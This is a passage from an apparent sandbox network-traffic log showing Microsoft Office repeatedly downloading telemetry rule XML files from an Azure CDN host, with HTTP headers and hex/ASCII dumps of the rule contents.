F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-28 07:56:35 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-28 07:56:35 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-28 07:56:35 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:37 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:37 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075637Z-174f7845968nxc96hC1EWRspw80000000xz0000000001uxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:37 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:37 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:37 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075637Z-174f7845968glpgnhC1EWR7uec0000000yag000000004dzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:37 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:37 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:37 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 4faee4dc-001e-00a2-5b66-40d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075637Z-174f7845968j6t2phC1EWRcfe80000000ycg000000001649 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:37 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:37 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:37 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075637Z-174f78459688l8rvhC1EWRtzr00000000ang00000000b5p5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:37 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:37 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:37 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075637Z-174f7845968jrjrxhC1EWRmmrs0000000ycg000000000nma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:37 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:39 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075639Z-174f7845968glpgnhC1EWR7uec0000000y6000000000d49e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:39 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075639Z-174f7845968kvnqxhC1EWRmf3g0000000gv000000000chgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:39 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:39 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075639Z-174f7845968n2hr8hC1EWR9cag0000000xr0000000009fk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:39 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:39 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:39 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075639Z-174f7845968cpnpfhC1EWR3afc0000000xrg000000007qh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:39 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:39 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075639Z-174f7845968cdxdrhC1EWRg0en0000000xzg00000000cuku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:41 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
